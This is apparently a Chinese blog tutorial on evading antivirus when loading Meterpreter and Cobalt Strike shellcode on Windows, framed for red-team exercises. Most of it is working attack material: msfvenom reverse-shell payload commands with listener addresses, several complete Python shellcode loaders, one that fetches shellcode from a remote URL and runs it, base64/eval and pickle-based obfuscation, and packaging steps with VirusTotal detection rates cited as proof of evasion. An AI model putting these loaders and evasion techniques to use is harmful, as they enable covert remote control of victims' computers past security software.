windows免杀工具-加载shellcode

前言

HW在即,免杀是通往内网的重要桥梁。手里多备点免杀工具总是没错的。

shellcode

维基百科上解释:shellcode 是一段用于利用软件漏洞而执行的代码,一般为16进制的机器码,让攻击者获取shell而得名。

将程序进行分离或者混淆是规避杀软的两种有效方式。
这里参考tide团队的远控免杀系列 https://github.com/TideSec/BypassAntiVirus 整理了将shellcode分离的三种方式。所谓的分离就是将shellcode和加载程序分离开来。
以实战方便、操作简单汇总了分别由go、python、c++语言加载shellcode,当然这也会容易被查杀,但十分有效。

go加载shellcode

github 下载加载器。下载后切换到go-shellcode\cmd\sc目录,执行go build命令。(需要配置go环境)

go加载器

该加载器加载hex编码格式的shellcode
所以由msfvenom生成hex格式的shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp  LHOST=10.37.129.7 LPORT=4444 -f hex -o shell.hex 

目标机器上sc.exe运行shellcode即可。

sc.exe shellcode
image.png

c++加载shellcode

借助shellcode_launcher 执行shellcode加载到内存。
该加载器执行raw格式的shellcode。

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.37.129.7 lport=4444  -f raw -o shellcode.raw
image.png

将shellcdoe_launcher.exe、raw文件上传到目标机器,执行以下命令即可。

shellcode_launcher.exe -i shellcode.raw
image.png
image.png

python加载shellcode

借用k8师傅的python加载器。同样可以从 github 上下载。
同样选用msfvenom来生成shellcode

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.37.129.7 lport=4444  -f c -o shell.c
image.png

生成的shell.c文件还需要hex编码

image.png

这里使用scrun.exe 来运行hex编码的shellcode。(也可以使用加载器运行base64编码后的shellcode)

image.png

运行后即可上线。

image.png

拓展

python加载shellcode

那么加载shellcode在代码上需要几步呢?
首先需要申请一块可读可写可执行的内存,再把shellcode放进去,然后从首地址开始执行。
以python为例,使用ctypes模块调用动态链接库函数的功能加载shellcode。
代码如下

# !/usr/bin/env python
# -*- coding: utf-8 -*-
# code by CSeroad
import ctypes

shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为cctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode首地址开始执行
ht = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待创建的线程运行完毕
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

shellcode 可以是msfvenom 生成的

msfvenom -p windows/x64/meterpreter/reverse_tcp   LHOST=10.211.55.20  LPORT=4444  -f  c

注:实验环境是win7 x64位,python 2.7 64位,所以这里payload也选择x64

将shellcode源码替换shellcode处,直接运行shellcode_python.py即可上线。

image.png

也可以是cobalt strike 生成的。

image.png

注:勾选x64

将shellcode源码替换shellcode处,直接运行shellcode_python.py即可上线。

image.png

免杀处理

shellcode 分离就是在上面代码的基础上将加载程序和shellcode进行分开。

# !/usr/bin/env python
# -*- coding: utf-8 -*-
# code by CSeroad

import ctypes
import sys


def python_loader(shellcode):
    shellcode = bytearray(shellcode.decode("hex"))
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr),
        buf,
        ctypes.c_int(len(shellcode))
    )
    ht = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0), 
        ctypes.c_uint64(ptr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

if __name__=="__main__":
    if(len(sys.argv) == 2):
        code = sys.argv[1]
        shellcode = bytearray(code)
        python_loader(shellcode)
    else:
        print('Usage:python_loader.py shellcode_hex')

这里参考k8师傅的思路。对shellcode进行hex编码后运行即可上线。

image.png

笔者测试发现单纯的python脚本在VT上查杀率是比较低的,而使用pyinstaller进行打包后的exe在VT上查杀率是非常高的。
而在实际windows免杀时,必须要打包成exe程序。借助python函数对脚本进行简单处理。

# !/usr/bin/env python
# -*- coding: utf-8 -*-
# code by CSeroad
import ctypes
import sys


def python_loader(code):
    shellcode = bytearray(code.decode("hex"))
    # 设置VirtualAlloc返回类型为cctypes.c_uint64
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    # 放入shellcode
    bufes = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr),
        bufes,
        ctypes.c_int(len(shellcode))
    )
    # 创建一个线程从shellcode首地址开始执行
    htes = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0), 
        ctypes.c_uint64(ptr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    # 等待创建的线程运行完毕
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(htes),ctypes.c_int(-1))

if __name__=="__main__":
    if(len(sys.argv) == 2):
        code = sys.argv[1]
        python_loader(code)
    else:
        print('Usage:python_loader.py shellcode_hex')

该python脚本VT查杀结果4/58,pyinstaller打包exe查杀为10/69。
还可以做点改动,通过远程访问url地址加载shellcode,代码如下

# !/usr/bin/env python
# -*- coding: utf-8 -*-
# code by CSeroad
import ctypes
import sys
import urllib2


def python_loader(url):
    f = urllib2.urlopen(url)
    data = f.read()
    shellcode = bytearray(data.decode("hex"))
    # 设置VirtualAlloc返回类型为cctypes.c_uint64
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 申请内存
    pt1qr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    # 放入shellcode
    bufes = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(pt1qr),
        bufes,
        ctypes.c_int(len(shellcode))
    )
    # 创建一个线程从shellcode首地址开始执行
    htes = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0), 
        ctypes.c_uint64(pt1qr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    # 等待创建的线程运行完毕
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(htes),ctypes.c_int(-1))

if __name__=="__main__":
    if(len(sys.argv) == 2):
        url = sys.argv[1]
        python_loader(url)
    else:
        print('Usage:python_loader.py url')

运行即可上线

image.png

python脚本VT查杀率为3/58,pyinstaller打包后的VT查杀率为9/70。

image.png

刚刚学习到python也有eval函数。可以通过base64解码某个字符串,再通过eval执行
脚本如下

# !/usr/bin/env python
# -*- coding: utf-8 -*-
# code by CSeroad

import ctypes
import sys
import base64

def python_loader(shellcode):
    shellcode = bytearray(shellcode.decode("hex"))
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))
    ht = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0), 
        ctypes.c_uint64(ptr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

if __name__=="__main__":
    if(len(sys.argv) == 2):
        code = sys.argv[1]
        shellcode = bytearray(code)
        python_loader(shellcode)
    else:
        print('Usage:python_loader.py shellcode_hex')

执行

python_loader.exe shellcode_hex

python脚本VT查杀率为4/60,pyinstaller打包后的VT查杀率为7/68。

image.png

python3反序列化加载shellcode

把变量从内存中变成可存储或传输的过程称之为序列化。
反过来,把变量内容从序列化的对象重新读到内存里称之为反序列化。
python提供了pickle模块来实现序列化。
通过pickle.dump() 把对象序列化。
比如打印a的值。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pickle

class A(object):
    a = 1
    def __reduce__(self):
        return (print, (self.a,))

ret = pickle.dumps(A())
print(ret)
image.png

通过pickle.loads()方法反序列化。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pickle

class A(object):
    a = 1
    def __reduce__(self):
        return (print, (self.a,))

ret = pickle.dumps(A())
b = pickle.loads(ret)
print(b)

也可以通过序列化,反序列化执行系统命令。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pickle
import base64
import os

class A(object):
    def __reduce__(self):
        return(eval,("os.system('calc.exe')",))


ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
ret_decode = base64.b64decode(ret_base64)
b = pickle.loads(ret_decode)
print(b)
image.png

加载shellcode
a.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pickle
import base64

shellcode = """
import ctypes,base64,sys

code =  sys.argv[1]
a_bytes = bytes.fromhex(code)
shellcode = bytearray(a_bytes)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""

class A(object):
    def __reduce__(self):
        return(exec,(shellcode,))

ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
#print(ret_base64)
ret_decode = base64.b64decode(ret_base64)
b = pickle.loads(ret_decode)
print(b)

运行该脚本,传入hex编码后的shellcode。

image.png

cobaltstrike 即可上线。
考虑到pyinstaller的免杀性不强,这次在python3环境上使用py2exe。
pip直接安装即可 pip install py2exe
创建setup.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from distutils.core import setup
import py2exe
setup(
name = 'Meter',
description = 'Python-based App',
version = '1.0',
console=['a.py'],
options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
zipfile = None,
)

打包生成exe

python setup.py py2exe
image.png

运行a.exe,加载hex的shellcode即可上线。

image.png

打包后查杀率8/70

image.png

总结

经过pyinstaller打包后exe查杀率还是比较高,可拓展性不大。希望哪天可以写出另外两种语言的shellcode加载器。

你可能感兴趣的:(windows免杀工具-加载shellcode)